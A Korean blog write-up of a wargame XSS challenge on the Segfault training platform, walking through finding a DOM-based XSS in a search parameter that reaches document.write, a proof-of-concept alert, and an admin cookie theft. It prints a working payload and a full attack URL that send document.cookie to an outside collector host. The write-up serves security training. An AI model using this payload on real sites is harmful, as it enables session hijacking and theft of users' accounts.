<Segfault> 워게임 문제풀이 [XSS Challenge]

2024. 7. 2. 00:11·워게임 문제풀이/Segfault

목표 : 관리자의 쿠키를 탈취하라!


일단 페이지로 들어와줍니다.

혹시나 마이페이지에 취약점이 있을지도 모르니 체크한번 해주겠습니다.


<마이페이지>

 

흠...역시나 user 라는 변수는 페이지에 출력되지 않는 변수인것 같네요..

그러면 다음으로 게시글 페이지로 이동해보겠습니다.

 


<게시글 페이지>

 

밑에 보시면 james 라고 입력할시 화면에 'james 에 대한 검색결과가 없습니다' 라고 출력이 됩니다.

화면에 직접적으로 출력이 되니 XSS 를 위해 살펴볼 가치가 있습니다.

검색창 입력값 : james
결과

 

 

Burp Suite 를 이용해 이 게시글 페이지의 코드를 살펴보겠습니다.


 

<Burp Suite - 게시글 페이지>

 

 

일단 저희가 보내는 변수가 GET 방식으로 들어가고 있는것을 확인했습니다.

 

표시된 1번부분을 보면 분명 화면에 james 라고 출력되고 있는데 코드상으로는 james 가 없습니다..

2번부분을 보니깐 james라는 입력값을 keyword라는 변수에 넣어준후 document.write 를 통해 출력하고 있습니다.

.

.

.

그러면 keyword 부분에 저희가 입력한 값이 document.write(keyword) 부분의 keyword 값에 들어가서 출력이 되고있다는 뜻이니깐 ... DOM Based XSS 를 이용해볼수 있을것 같습니다.

 

<script>
		var keyword = (new URLSearchParams(window.location.search)).get('board_result');
		if(keyword){
			document.getElementById('search_addr').value = keyword;
			document.write(keyword+'에 대한 검색 결과가 없습니다.');
		}

	</script>

<james 를 화면에 출력해준 스크립트 코드>

 


입력값 : </script><script>alert(1)</script> // POC코드(alert(1)) 정상작동

 

 

<예상되는 자바스크립트 코드>

<script>
		var keyword = (new URLSearchParams(window.location.search)).get('board_result');
		if(keyword){
			document.getElementById('search_addr').value = keyword;
			document.write(</script><script>alert(1)</script> //+'에 대한 검색 결과가 없습니다.');
		}

	</script>

 

document.write 에 의해 문서에 글이 써질텐데 그 글에서 </script>로 전에있던 스크립트를 무력화 시키고 새로운 스크립트를 추가해줌으로써 우리가 원하는 poc 코드를 동작시킬수 있게 되었다.

 

이제 POC 코드 부분에 쿠키탈취 코드를 삽입해주자.

 


<쿠키탈취>

 

 

입력값 </script><script>var data =document.cookie; var i=new Image(); i.src='https://encxlimxsq6z.x.pipedream.net?cookie='+data;</script> //
페이지주소 http://ctf.segfaulthub.com:4343/xss_4/notice_list.php?option_val=username&board_result=%3C%2Fscript%3E%3Cscript%3Evar+data+%3Ddocument.cookie%3B+var+i%3Dnew+Image%28%29%3B+i.src%3D%27https%3A%2F%2Fencxlimxsq6z.x.pipedream.net%3Fcookie%3D%27%2Bdata%3B%3C%2Fscript%3E+%2F%2F&board_search=%F0%9F%94%8D&date_from=&date_to=

 

 


 

무사히 쿠키가 탈취된것을 볼 수 있다.


 

<관리자 쿠키 탈취>

 

관리자 컴퓨터로 GET 요청보내기


 

 

무사히 관리자 쿠키(FLAG) 를 탈취할 수 있었습니다!

 


긴 글 읽어주셔서 감사합니다!

'워게임 문제풀이 > Segfault' 카테고리의 다른 글

<Segfault> 워게임 문제풀이 [CSRF-Get admin 1]  (0) 2024.07.06
<Segfault> 워게임 문제풀이 [Steal Info]  (0) 2024.07.02
<Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성)  (0) 2024.07.01
<Segfault> 워게임 문제풀이 [XSS 4]  (0) 2024.07.01
<Segfault> 워게임 문제풀이 [XSS 3]  (0) 2024.07.01
'워게임 문제풀이/Segfault' 카테고리의 다른 글
  • <Segfault> 워게임 문제풀이 [CSRF-Get admin 1]
  • <Segfault> 워게임 문제풀이 [Steal Info]
  • <Segfault> 워게임 문제풀이 [XSS 5](feat.자기반성)
  • <Segfault> 워게임 문제풀이 [XSS 4]
무너박사
무너박사
IT 보안 블로그 입니다. 제가 작성하는 블로그가 누군가의 공부에 조금이라도 도움이 되길 바라며 작성하였습니다.
  • 무너박사
    무너박사의 연구일지
    무너박사
  • 전체
    오늘
    어제
    • 분류 전체보기 (104)
      • WEB 지식 (3)
      • 웹해킹 (13)
      • 웹개발(PHP-Mysql) (12)
      • 웹개발(JSP-Oracle) (2)
      • 워게임 문제풀이 (19)
        • Segfault (17)
        • Dreamhack (2)
      • SQL (3)
      • Python (2)
      • AI (1)
        • LLM(Large Language Model) (1)
      • Kail Linux (3)
      • 잡다한 지식 (2)
      • 모바일 앱개발(Kotlin-PHP-Mysql) (13)
      • 모바일 앱해킹(Android) (31)
        • Frida Lab (2)
        • Android DIVA (8)
        • Insecure Bank (20)
      • 안드로이드 위협 탐지 및 우회 (0)
        • 루팅 탐지 & 우회 (0)
        • 디버깅 탐지 & 우회 (0)
        • 에뮬레이터 탐지 & 우회 (0)
        • Frida 탐지 & 우회 (0)
  • 블로그 메뉴

    • 링크

    • 공지사항

    • 인기 글

    • 태그

      Android Studio
      안드로이드 스튜디오
      인시큐어 뱅크
      android diva
      모바일 앱해킹
      Blind sql injection
      모바일 앱개발
      워게임
      인시큐어뱅크
      Kotlin
      칼리리눅스
      insecure bank
      Koltin
      sql injection
      해킹
      mobile diva
      모의해킹
      php
      normaltic
      취업반 6기
      모바일앱개발
      앱해킹
      취업반
      시스템해킹
      XSS
      취업반6기
      MySQL
      리패키징
      dom based xss
      웹해킹
    • 최근 댓글

    • 최근 글

    • hELLO· Designed By정상우.v4.10.3
    무너박사
    <Segfault> 워게임 문제풀이 [XSS Challenge]
    상단으로

    티스토리툴바